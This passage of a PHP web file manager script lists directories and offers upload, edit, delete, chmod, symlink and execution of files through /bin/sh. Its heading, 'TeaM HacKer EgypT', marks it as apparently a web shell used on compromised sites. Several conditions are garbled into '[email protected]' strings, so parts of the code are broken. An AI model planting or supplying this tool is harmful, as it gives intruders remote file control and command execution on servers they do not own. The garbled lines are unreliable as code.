                            } elseif (!empty($_SERVER['PHP_SELF'])) {
                                $self = html(basename($_SERVER['PHP_SELF']));
                            } else {
                                $self = '';
                            }
                            
                            if (!empty($_SERVER['SERVER_SOFTWARE'])) {
                                if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
                                    $apache = true;
                                } else {
                                    $apache = false;
                                }
                            } else {
                                $apache = true;
                            }
                            
                            switch ($action) {
                            
                            case 'view':
                            
                                if (is_script($file)) {
                            
                                    /* highlight_file is a mess! */
                                    ob_start();
                                    highlight_file($file);
                                    $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
                                    $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
                                    ob_end_clean();
                            
                                    html_header();
                                    echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
                            
                            <hr />
                            
                            <table>
                            <tr>
                            <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
                            <pre style="margin-top: 0"><code>';
                            
                                    for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
                            
                                    echo '</code></pre>
                            </td>
                            <td style="text-align: left; vertical-align: top; padding-left: 3pt">
                            <pre style="margin-top: 0">' . $src . '</pre>
                            </td>
                            </tr>
                            </table>
                            
                            ';
                            
                                    html_footer();
                            
                                } else {
                            
                                    header('Content-Type: ' . getmimetype($file));
                                    header('Content-Disposition: filename=' . basename($file));
                            
                                    readfile($file);
                            
                                }
                            
                                break;
                            
                            case 'download':
                            
                                header('Pragma: public');
                                header('Expires: 0');
                                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                                header('Content-Type: ' . getmimetype($file));
                                header('Content-Disposition: attachment; filename=' . basename($file) . ';');
                                header('Content-Length: ' . filesize($file));
                            
                                readfile($file);
                            
                                break;
                            
                            case 'upload':
                            
                                $dest = relative2absolute($file['name'], $directory);
                            
                                if (@file_exists($dest)) {
                                    listing_page(error('already_exists', $dest));
                                } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
                                    @chmod($dest, $filepermission);
                                    listing_page(notice('uploaded', $file['name']));
                                } else {
                                    listing_page(error('not_uploaded', $file['name']));
                                }
                            
                                break;
                            
                            case 'create_directory':
                            
                                if (@file_exists($file)) {
                                    listing_page(error('already_exists', $file));
                                } else {
                                    $old = @umask(0777 & ~$dirpermission);
                                    if (@mkdir($file, $dirpermission)) {
                                        listing_page(notice('created', $file));
                                    } else {
                                        listing_page(error('not_created', $file));
                                    }
                                    @umask($old);
                                }
                            
                                break;
                            
                            case 'create_file':
                            
                                if (@file_exists($file)) {
                                    listing_page(error('already_exists', $file));
                                } else {
                                    $old = @umask(0777 & ~$filepermission);
                                    if (@touch($file)) {
                                        edit($file);
                                    } else {
                                        listing_page(error('not_created', $file));
                                    }
                                    @umask($old);
                                }
                            
                                break;
                            
                            case 'execute':
                            
                                chdir(dirname($file));
                            
                                $output = array();
                                $retval = 0;
                                exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
                            
                                $error = ($retval == 0) ? false : true;
                            
                                if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
                            
                                if ($error) {
                                    listing_page(error('not_executed', $file, implode("\n", $output)));
                                } else {
                                    listing_page(notice('executed', $file, implode("\n", $output)));
                                }
                            
                                break;
                            
                            case 'delete':
                            
                                if (!empty($_POST['no'])) {
                                    listing_page();
                                } elseif (!empty($_POST['yes'])) {
                            
                                    $failure = array();
                                    $success = array();
                            
                                    foreach ($files as $file) {
                                        if (del($file)) {
                                            $success[] = $file;
                                        } else {
                                            $failure[] = $file;
                                        }
                                    }
                            
                                    $message = '';
                                    if (sizeof($failure) > 0) {
                                        $message = error('not_deleted', implode("\n", $failure));
                                    }
                                    if (sizeof($success) > 0) {
                                        $message .= notice('deleted', implode("\n", $success));
                                    }
                            
                                    listing_page($message);
                            
                                } else {
                            
                                    html_header();
                            
                                    echo '<form action="' . $self . '" method="post">
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                            ';
                            
                                    request_dump();
                            
                                    echo "\t<b>" . word('really_delete') . '</b>
                                <p>
                            ';
                            
                                    foreach ($files as $file) {
                                        echo "\t" . html($file) . "<br />\n";
                                    }
                            
                                    echo '    </p>
                                <hr />
                                <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
                                <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
                            </td>
                            </tr>
                            </table>
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            case 'rename':
                            
                                if (!empty($_POST['destination'])) {
                            
                                    $dest = relative2absolute($_POST['destination'], $directory);
                            
                                    if ([email protected]_exists($dest) && @rename($file, $dest)) {
                                        listing_page(notice('renamed', $file, $dest));
                                    } else {
                                        listing_page(error('not_renamed', $file, $dest));
                                    }
                            
                                } else {
                            
                                    $name = basename($file);
                            
                                    html_header();
                            
                                    echo '<form action="' . $self . '" method="post">
                            
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                                <input type="hidden" name="action" value="rename" />
                                <input type="hidden" name="file" value="' . html($file) . '" />
                                <input type="hidden" name="dir" value="' . html($directory) . '" />
                                <b>' . word('rename_file') . '</b>
                                <p>' . html($file) . '</p>
                                <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
                                <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
                                <hr />
                                <input type="submit" value="' . word('rename') . '" />
                            </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            case 'move':
                            
                                if (!empty($_POST['destination'])) {
                            
                                    $dest = relative2absolute($_POST['destination'], $directory);
                            
                                    $failure = array();
                                    $success = array();
                            
                                    foreach ($files as $file) {
                                        $filename = substr($file, strlen($directory));
                                        $d = $dest . $filename;
                                        if ([email protected]_exists($d) && @rename($file, $d)) {
                                            $success[] = $file;
                                        } else {
                                            $failure[] = $file;
                                        }
                                    }
                            
                                    $message = '';
                                    if (sizeof($failure) > 0) {
                                        $message = error('not_moved', implode("\n", $failure), $dest);
                                    }
                                    if (sizeof($success) > 0) {
                                        $message .= notice('moved', implode("\n", $success), $dest);
                                    }
                            
                                    listing_page($message);
                            
                                } else {
                            
                                    html_header();
                            
                                    echo '<form action="' . $self . '" method="post">
                            
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                            ';
                            
                                    request_dump();
                            
                                    echo "\t<b>" . word('move_files') . '</b>
                                <p>
                            ';
                            
                                    foreach ($files as $file) {
                                        echo "\t" . html($file) . "<br />\n";
                                    }
                            
                                    echo '    </p>
                                <hr />
                                ' . word('destination') . ':
                                <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
                                <input type="submit" value="' . word('move') . '" />
                            </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            case 'copy':
                            
                                if (!empty($_POST['destination'])) {
                            
                                    $dest = relative2absolute($_POST['destination'], $directory);
                            
                                    if (@is_dir($dest)) {
                            
                                        $failure = array();
                                        $success = array();
                            
                                        foreach ($files as $file) {
                                            $filename = substr($file, strlen($directory));
                                            $d = addslash($dest) . $filename;
                                            if ([email protected]_dir($file) && [email protected]_exists($d) && @copy($file, $d)) {
                                                $success[] = $file;
                                            } else {
                                                $failure[] = $file;
                                            }
                                        }
                            
                                        $message = '';
                                        if (sizeof($failure) > 0) {
                                            $message = error('not_copied', implode("\n", $failure), $dest);
                                        }
                                        if (sizeof($success) > 0) {
                                            $message .= notice('copied', implode("\n", $success), $dest);
                                        }
                            
                                        listing_page($message);
                            
                                    } else {
                            
                                        if ([email protected]_exists($dest) && @copy($file, $dest)) {
                                            listing_page(notice('copied', $file, $dest));
                                        } else {
                                            listing_page(error('not_copied', $file, $dest));
                                        }
                            
                                    }
                            
                                } else {
                            
                                    html_header();
                            
                                    echo '<form action="' . $self . '" method="post">
                            
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                            ';
                            
                                    request_dump();
                            
                                    echo "\n<b>" . word('copy_files') . '</b>
                                <p>
                            ';
                            
                                    foreach ($files as $file) {
                                        echo "\t" . html($file) . "<br />\n";
                                    }
                            
                                    echo '    </p>
                                <hr />
                                ' . word('destination') . ':
                                <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
                                <input type="submit" value="' . word('copy') . '" />
                            </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            case 'create_symlink':
                            
                                if (!empty($_POST['destination'])) {
                            
                                    $dest = relative2absolute($_POST['destination'], $directory);
                            
                                    if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
                            
                                    if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
                            
                                    if ([email protected]_exists($dest) && @symlink($file, $dest)) {
                                        listing_page(notice('symlinked', $file, $dest));
                                    } else {
                                        listing_page(error('not_symlinked', $file, $dest));
                                    }
                            
                                } else {
                            
                                    html_header();
                            
                                    echo '<form action="' . $self . '" method="post">
                            
                            <table class="dialog" id="symlink">
                            <tr>
                                <td style="vertical-align: top">' . word('destination') . ': </td>
                                <td>
                                    <b>' . html($file) . '</b><br />
                                    <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
                                    <label for="checkbox_relative">' . word('relative') . '</label>
                                    <input type="hidden" name="action" value="create_symlink" />
                                    <input type="hidden" name="file" value="' . html($file) . '" />
                                    <input type="hidden" name="dir" value="' . html($directory) . '" />
                                </td>
                            </tr>
                            <tr>
                                <td>' . word('symlink') . ': </td>
                                <td>
                                    <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
                                    <input type="submit" value="' . word('create_symlink') . '" />
                                </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            case 'edit':
                            
                                if (!empty($_POST['save'])) {
                            
                                    $content = str_replace("\r\n", "\n", $_POST['content']);
                            
                                    if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                                        listing_page(notice('saved', $file));
                                    } else {
                                        listing_page(error('not_saved', $file));
                                    }
                            
                                } else {
                            
                                    if (@is_readable($file) && @is_writable($file)) {
                                        edit($file);
                                    } else {
                                        listing_page(error('not_edited', $file));
                                    }
                            
                                }
                            
                                break;
                            
                            case 'permission':
                            
                                if (!empty($_POST['set'])) {
                            
                                    $mode = 0;
                                    if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
                                    if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
                                    if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
                            
                                    if (@chmod($file, $mode)) {
                                        listing_page(notice('permission_set', $file, decoct($mode)));
                                    } else {
                                        listing_page(error('permission_not_set', $file, decoct($mode)));
                                    }
                            
                                } else {
                            
                                    html_header();
                            
                                    $mode = fileperms($file);
                            
                                    echo '<form action="' . $self . '" method="post">
                            
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                            
                                <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
                            
                                <hr />
                            
                                <table id="permission">
                                <tr>
                                    <td></td>
                                    <td style="border-right: 1px solid black">' . word('owner') . '</td>
                                    <td style="border-right: 1px solid black">' . word('group') . '</td>
                                    <td>' . word('other') . '</td>
                                </tr>
                                <tr>
                                    <td style="text-align: right">' . word('read') . ':</td>
                                    <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
                                </tr>
                                <tr>
                                    <td style="text-align: right">' . word('write') . ':</td>
                                    <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
                                </tr>
                                <tr>
                                    <td style="text-align: right">' . word('execute') . ':</td>
                                    <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
                                    <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
                                </tr>
                                </table>
                            
                                <hr />
                            
                                <input type="submit" name="set" value="' . word('set') . '" />
                            
                                <input type="hidden" name="action" value="permission" />
                                <input type="hidden" name="file" value="' . html($file) . '" />
                                <input type="hidden" name="dir" value="' . html($directory) . '" />
                            
                            </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                    html_footer();
                            
                                }
                            
                                break;
                            
                            default:
                            
                                listing_page();
                            
                            }
                            
                            /* ------------------------------------------------------------------------- */
                            
                            function getlist ($directory) {
                                global $delim, $win;
                            
                                if ($d = @opendir($directory)) {
                            
                                    while (($filename = @readdir($d)) !== false) {
                            
                                        $path = $directory . $filename;
                            
                                        if ($stat = @lstat($path)) {
                            
                                            $file = array(
                                                'filename'    => $filename,
                                                'path'        => $path,
                                                'is_file'     => @is_file($path),
                                                'is_dir'      => @is_dir($path),
                                                'is_link'     => @is_link($path),
                                                'is_readable' => @is_readable($path),
                                                'is_writable' => @is_writable($path),
                                                'size'        => $stat['size'],
                                                'permission'  => $stat['mode'],
                                                'owner'       => $stat['uid'],
                                                'group'       => $stat['gid'],
                                                'mtime'       => @filemtime($path),
                                                'atime'       => @fileatime($path),
                                                'ctime'       => @filectime($path)
                                            );
                            
                                            if ($file['is_dir']) {
                                                $file['is_executable'] = @file_exists($path . $delim . '.');
                                            } else {
                                                if (!$win) {
                                                    $file['is_executable'] = @is_executable($path);
                                                } else {
                                                    $file['is_executable'] = true;
                                                }
                                            }
                            
                                            if ($file['is_link']) $file['target'] = @readlink($path);
                            
                                            if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                                            if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
                            
                                            $files[] = $file;
                            
                                        }
                            
                                    }
                            
                                    return $files;
                            
                                } else {
                                    return false;
                                }
                            
                            }
                            
                            function sortlist (&$list, $key, $reverse) {
                            
                                quicksort($list, 0, sizeof($list) - 1, $key);
                            
                                if ($reverse) $list = array_reverse($list);
                            
                            }
                            
                            function quicksort (&$array, $first, $last, $key) {
                            
                                if ($first < $last) {
                            
                                    $cmp = $array[floor(($first + $last) / 2)][$key];
                            
                                    $l = $first;
                                    $r = $last;
                            
                                    while ($l <= $r) {
                            
                                        while ($array[$l][$key] < $cmp) $l++;
                                        while ($array[$r][$key] > $cmp) $r--;
                            
                                        if ($l <= $r) {
                            
                                            $tmp = $array[$l];
                                            $array[$l] = $array[$r];
                                            $array[$r] = $tmp;
                            
                                            $l++;
                                            $r--;
                            
                                        }
                            
                                    }
                            
                                    quicksort($array, $first, $r, $key);
                                    quicksort($array, $l, $last, $key);
                            
                                }
                            
                            }
                            
                            function permission_octal2string ($mode) {
                            
                                if (($mode & 0xC000) === 0xC000) {
                                    $type = 's';
                                } elseif (($mode & 0xA000) === 0xA000) {
                                    $type = 'l';
                                } elseif (($mode & 0x8000) === 0x8000) {
                                    $type = '-';
                                } elseif (($mode & 0x6000) === 0x6000) {
                                    $type = 'b';
                                } elseif (($mode & 0x4000) === 0x4000) {
                                    $type = 'd';
                                } elseif (($mode & 0x2000) === 0x2000) {
                                    $type = 'c';
                                } elseif (($mode & 0x1000) === 0x1000) {
                                    $type = 'p';
                                } else {
                                    $type = '?';
                                }
                            
                                $owner  = ($mode & 00400) ? 'r' : '-';
                                $owner .= ($mode & 00200) ? 'w' : '-';
                                if ($mode & 0x800) {
                                    $owner .= ($mode & 00100) ? 's' : 'S';
                                } else {
                                    $owner .= ($mode & 00100) ? 'x' : '-';
                                }
                            
                                $group  = ($mode & 00040) ? 'r' : '-';
                                $group .= ($mode & 00020) ? 'w' : '-';
                                if ($mode & 0x400) {
                                    $group .= ($mode & 00010) ? 's' : 'S';
                                } else {
                                    $group .= ($mode & 00010) ? 'x' : '-';
                                }
                            
                                $other  = ($mode & 00004) ? 'r' : '-';
                                $other .= ($mode & 00002) ? 'w' : '-';
                                if ($mode & 0x200) {
                                    $other .= ($mode & 00001) ? 't' : 'T';
                                } else {
                                    $other .= ($mode & 00001) ? 'x' : '-';
                                }
                            
                                return $type . $owner . $group . $other;
                            
                            }
                            
                            function is_script ($filename) {
                                return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
                            }
                            
                            function getmimetype ($filename) {
                                static $mimes = array(
                                    '\.jpg$|\.jpeg$'  => 'image/jpeg',
                                    '\.gif$'          => 'image/gif',
                                    '\.png$'          => 'image/png',
                                    '\.html$|\.html$' => 'text/html',
                                    '\.txt$|\.asc$'   => 'text/plain',
                                    '\.xml$|\.xsl$'   => 'application/xml',
                                    '\.pdf$'          => 'application/pdf'
                                );
                            
                                foreach ($mimes as $regex => $mime) {
                                    if (eregi($regex, $filename)) return $mime;
                                }
                            
                                // return 'application/octet-stream';
                                return 'text/plain';
                            
                            }
                            
                            function del ($file) {
                                global $delim;
                            
                                if ([email protected]_link($file) && !file_exists($file)) return false;
                            
                                if ([email protected]_link($file) && @is_dir($file)) {
                            
                                    if ($dir = @opendir($file)) {
                            
                                        $error = false;
                            
                                        while (($f = readdir($dir)) !== false) {
                                            if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                                                $error = true;
                                            }
                                        }
                                        closedir($dir);
                            
                                        if (!$error) return @rmdir($file);
                            
                                        return !$error;
                            
                                    } else {
                                        return false;
                                    }
                            
                                } else {
                                    return @unlink($file);
                                }
                            
                            }
                            
                            function addslash ($directory) {
                                global $delim;
                            
                                if (substr($directory, -1, 1) != $delim) {
                                    return $directory . $delim;
                                } else {
                                    return $directory;
                                }
                            
                            }
                            
                            function relative2absolute ($string, $directory) {
                            
                                if (path_is_relative($string)) {
                                    return simplify_path(addslash($directory) . $string);
                                } else {
                                    return simplify_path($string);
                                }
                            
                            }
                            
                            function path_is_relative ($path) {
                                global $win;
                            
                                if ($win) {
                                    return (substr($path, 1, 1) != ':');
                                } else {
                                    return (substr($path, 0, 1) != '/');
                                }
                            
                            }
                            
                            function absolute2relative ($directory, $target) {
                                global $delim;
                            
                                $path = '';
                                while ($directory != $target) {
                                    if ($directory == substr($target, 0, strlen($directory))) {
                                        $path .= substr($target, strlen($directory));
                                        break;
                                    } else {
                                        $path .= '..' . $delim;
                                        $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
                                    }
                                }
                                if ($path == '') $path = '.';
                            
                                return $path;
                            
                            }
                            
                            function simplify_path ($path) {
                                global $delim;
                            
                                if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
                                    $path = realpath($path);
                                    if (@is_dir($path)) {
                                        return addslash($path);
                                    } else {
                                        return $path;
                                    }
                                }
                            
                                $pattern  = $delim . '.' . $delim;
                            
                                if (@is_dir($path)) {
                                    $path = addslash($path);
                                }
                            
                                while (strpos($path, $pattern) !== false) {
                                    $path = str_replace($pattern, $delim, $path);
                                }
                            
                                $e = addslashes($delim);
                                $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
                            
                                while (ereg($regex, $path)) {
                                    $path = ereg_replace($regex, $delim, $path);
                                }
                                
                                return $path;
                            
                            }
                            
                            function human_filesize ($filesize) {
                            
                                $suffices = 'kMGTPE';
                            
                                $n = 0;
                                while ($filesize >= 1000) {
                                    $filesize /= 1024;
                                    $n++;
                                }
                            
                                $filesize = round($filesize, 3 - strpos($filesize, '.'));
                            
                                if (strpos($filesize, '.') !== false) {
                                    while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
                                        $filesize = substr($filesize, 0, strlen($filesize) - 1);
                                    }
                                }
                            
                                $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
                            
                                return $filesize . " {$suffix}B";
                            
                            }
                            
                            function strip (&$str) {
                                $str = stripslashes($str);
                            }
                            
                            /* ------------------------------------------------------------------------- */
                            
                            function listing_page ($message = null) {
                                global $self, $directory, $sort, $reverse;
                            
                                html_header();
                            
                                $list = getlist($directory);
                            
                                if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
                                if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
                            
                                sortlist($list, $sort, $reverse);
                            
                                echo '<h1 style="margin-bottom: 0">TeaM HacKer EgypT</h1>
                            
                            <form enctype="multipart/form-data" action="' . $self . '" method="post">
                            
                            <table id="main">
                            ';
                            
                                directory_choice();
                            
                                if (!empty($message)) {
                                    spacer();
                                    echo $message;
                                }
                            
                                if (@is_writable($directory)) {
                                    upload_box();
                                    create_box();
                                } else {
                                    spacer();
                                }
                            
                                if ($list) {
                                    listing($list);
                                } else {
                                    echo error('not_readable', $directory);
                                }
                            
                                echo '</table>
                            
                            </form>
                            
                            ';
                            
                                html_footer();
                            
                            }
                            
                            function listing ($list) {
                                global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
                            
                                echo '<tr class="listing">
                                <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
                            ';
                            
                                $d = 'dir=' . urlencode($directory) . '&amp;';
                            
                                if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
                                echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
                            
                                if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
                                echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
                            
                                if (!$win) {
                            
                                    if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
                                    echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
                            
                                    if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
                                    echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
                            
                                    if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
                                    echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
                            
                                }
                            
                                echo '    <th class="functions">' . word('functions') . '</th>
                            </tr>
                            ';
                            
                                for ($i = 0; $i < sizeof($list); $i++) {
                                    $file = $list[$i];
                            
                                    $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
                                    $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
                                    $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
                            
                                    echo '<tr class="listing">
                                <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
                                <td class="filename" title="' . html($timestamps) . '">';
                            
                                    if ($file['is_link']) {
                            
                                        echo '<img src="' . $self . '?image=link" alt="link" /> ';
                                        echo html($file['filename']) . ' &rarr; ';
                            
                                        $real_file = relative2absolute($file['target'], $directory);
                            
                                        if (@is_readable($real_file)) {
                                            if (@is_dir($real_file)) {
                                                echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                                            } else {
                                                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                                            }
                                        } else {
                                            echo html($file['target']);
                                        }
                            
                                    } elseif ($file['is_dir']) {
                            
                                        echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
                                        if ($win || $file['is_executable']) {
                                            echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                                        } else {
                                            echo html($file['filename']);
                                        }
                                        echo ' ]';
                            
                                    } else {
                            
                                        if (substr($file['filename'], 0, 1) == '.') {
                                            echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
                                        } else {
                                            echo '<img src="' . $self . '?image=file" alt="file" /> ';
                                        }
                            
                                        if ($file['is_file'] && $file['is_readable']) {
                                           echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                                        } else {
                                            echo html($file['filename']);
                                        }
                            
                                    }
                            
                                    if ($file['size'] >= 1000) {
                                        $human = ' title="' . human_filesize($file['size']) . '"';
                                    } else {
                                        $human = '';
                                    }
                            
                                    echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
                            
                                    if (!$win) {
                            
                                        echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
                            
                                        $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
                                        if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
                                        echo html(permission_octal2string($file['permission']));
                                        if ($l) echo '</a>';
                            
                                        echo "</td>\n";
                            
                                        if (array_key_exists('owner_name', $file)) {
                                            echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
                                        } else {
                                            echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
                                        }
                            
                                        if (array_key_exists('group_name', $file)) {
                                            echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
                                        } else {
                                            echo "\t<td class=\"group\">{$file['group']}</td>\n";
                                        }
                            
                                    }
                            
                                    echo '    <td class="functions">
                                    <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
                            ';
                            
                                    $actions = array();
                                    if (function_exists('symlink')) {
                                        $actions[] = 'create_symlink';
                                    }
                                    if (@is_writable(dirname($file['path']))) {
                                        $actions[] = 'delete';
                                        $actions[] = 'rename';
                                        $actions[] = 'move';
                                    }
                                    if ($file['is_file'] && $file['is_readable']) {
                                        $actions[] = 'copy';
                                        $actions[] = 'download';
                                        if ($file['is_writable']) $actions[] = 'edit';
                                    }
                                    if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
                                        $actions[] = 'execute';
                                    }
                            
                                    if (sizeof($actions) > 0) {
                            
                                        echo '        <select class="small" name="action' . $i . '" size="1">
                                    <option value="">' . str_repeat('&nbsp;', 30) . '</option>
                            ';
                            
                                        foreach ($actions as $action) {
                                            echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
                                        }
                            
                                        echo '        </select>
                                    <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
                            ';
                            
                                    }
                            
                                    echo '    </td>
                            </tr>
                            ';
                            
                                }
                            
                                echo '<tr class="listing_footer">
                                <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
                                <td colspan="' . ($cols - 1) . '">
                                    <input type="hidden" name="num" value="' . sizeof($list) . '" />
                                    <input type="hidden" name="focus" value="" />
                                    <input type="hidden" name="olddir" value="' . html($directory) . '" />
                            ';
                            
                                $actions = array();
                                if (@is_writable(dirname($file['path']))) {
                                    $actions[] = 'delete';
                                    $actions[] = 'move';
                                }
                                $actions[] = 'copy';
                            
                                echo '        <select class="small" name="action_all" size="1">
                                    <option value="">' . str_repeat('&nbsp;', 30) . '</option>
                            ';
                            
                                foreach ($actions as $action) {
                                    echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
                                }
                            
                                echo '        </select>
                                    <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
                                </td>
                            </tr>
                            ';
                            
                            }
                            
                            function directory_choice () {
                                global $directory, $homedir, $cols, $self;
                            
                                echo '<tr>
                                <td colspan="' . $cols . '" id="directory">
                                    <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
                                    <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
                                    <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
                                </td>
                            </tr>
                            ';
                            
                            }
                            
                            function upload_box () {
                                global $cols;
                            
                                echo '<tr>
                                <td colspan="' . $cols . '" id="upload">
                                    ' . word('file') . ':
                                    <input type="file" name="upload" onfocus="activate(\'other\')" />
                                    <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
                                </td>
                            </tr>
                            ';
                            
                            }
                            
